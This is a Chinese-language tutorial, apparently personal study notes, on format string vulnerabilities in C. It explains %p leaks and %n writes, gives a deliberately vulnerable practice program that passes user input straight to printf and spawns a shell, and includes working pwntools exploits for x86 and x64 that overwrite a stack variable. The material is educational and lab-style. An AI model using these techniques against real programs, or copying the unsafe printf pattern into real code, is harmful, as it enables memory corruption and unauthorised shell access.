格式化字符串漏洞

格式化字符串漏洞是发现比较晚的漏洞,产生的原因是因为 ,格式化函数把用户输入的格式化字符,当做了解析自身的格式化字符做了解析。

常见的格式化漏洞函数

各种print函数

格式化字符

%s 打印字符串 %p 打印地址 %c 打印char字符 %n 输入字符

%10c 这代表10个制表符(空格)

printf("guozhi%10s", "格式化字符")
guozhi           格式化字符

%2$s 这个代表占位符

printf("%2$s guozhi %1$s", "第一个参数", " 第二个参数");

输出:
第二个参数 guozhi 第一个参数

这就产生了一个问题如果参数不足的情况下 %3$会输出什么?

会,接着往下输出如果是x86则会输出栈上的内容, 如果是x64会先泄露前六个寄存器的内容然后再泄露栈上的内容,这就会造成栈内存泄露。

当然泄露栈内存空间不会有太大危害, 需要配合另一个格式化字符串进行写入操作。

%n 往里写东西不过写入的地址必须是被指向的如

01:0004│-054     0xffffd0b4 —▸ 0xffffd0e8 ◂— 0x61616161 ('aaaa')

这样的指针就可以进行修改 %100c%x$n x代表它的栈上的第几个,需要通过计算获得。
如何没有指向我们想修改的的地址怎么办?

可以通过写入地址的方式把想要修改的地址写进去但是, 如果是x86可以把地址写在前面(0xffffd0e8%96c%x$n地址再前面注意内存对齐), 但是x64就不行因为高地址是00读到00就会被截断所以地址要放到后面(%100c%x$n0x7fffffffdf10)

如果修改成功

01:0004│-054     0xffffd0b4 —▸ 0xffffd0e8 ◂— 0x64 /* 'd' */ 

代码分析

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int test1;
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
	char buf1[0x10];
	char buf2[0x10];
    char buf3[0x10];
	int test2=0;
	int test3=0;
    while(1){
        puts("input:");
        read(0,buf1,0x100);
	printf(buf1);
	if(test3==100)
		system("/bin/sh");        
    }
    return 0;
}

int main(){
	init_func();
    dofunc();
    return 0;
}
//gcc fmt_test_2.c  -o fmt_test_2_x64
//gcc -m32 fmt_test_2.c -o fmt_test_2_x86

这个题需要test3 == 100 会触发system 函数, 但是test3的变量被写死再代码里无法进行修改。 但是上方有一个printf函数临近我们可以通过printf 函数向栈中写test3地址的内容。

首先确定获取到栈底ebp的地址然后通过偏移来寻test3的地址

ebp是

 EBP  0xffffd108 —▸ 0xffffd118 ◂— 0x0 

EBP是0xffffd108 然后通过%p来寻址看看偏移是多少

%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

这样就可以判断看出第几个偏移是栈底了

0xffffd0e8,0x100,0x56556246,0xf7faf224,0x56559000,0xf7fb1000,0xf7fb1000,0xffffd108,0xf7fe7ae4,0xffffd144,0x56559000,0xf7fb1000,0xf7fb1000,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70

第8个偏移就是栈底了也就是%8$p

然后是确定test3的栈地址。
先查看是什么汇编

0x56556291 <dofunc+87>    cmp    dword ptr [ebp - 0x10], 0x64

ebp-0x10就是test的栈偏移了,哪就可以用上面得到栈ebp的地址0x10得到test3的偏移,通过%n写入100即可完成。

如何计算出%n的偏移?

可以通过aaaa%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p 看0x61616161再哪出现,第几个就是多少偏移。

EXP

from pwn import * 

r = process("fmt_test_2_x86")

raw_input()
r.recvline("input:")
r.send("%8$p")
ebp_addr = int(r.recv()[2:10],16)
print(ebp_addr)

#r.recvline("input:")
test3_addr = ebp_addr - 0x10
payload = p32(test3_addr) + b"%96c%14$hhn"
print("ebp_addr is:"+hex(ebp_addr))
print("test3_addr is:"+hex(test3_addr))
r.send(payload)
r.interactive() 

x64EXP

x64需要注意

  • 算上寄存器的空间
  • 地址写在后面
from pwn import *


r = process("fmt_test_2_x64")
raw_input()
r.recvline("input:")
r.send("%9$p")
ebp_addr = int(r.recv()[2:14],16) 
print("ebp_addr is:",hex(ebp_addr))
test3_addr = ebp_addr - 0x8
print("test3_addr is:",hex(test3_addr))
r.recvline("input:")
payload = "%100c%12$hhnaaaa"+p64(test3_addr)
r.send(payload)

r.interactive()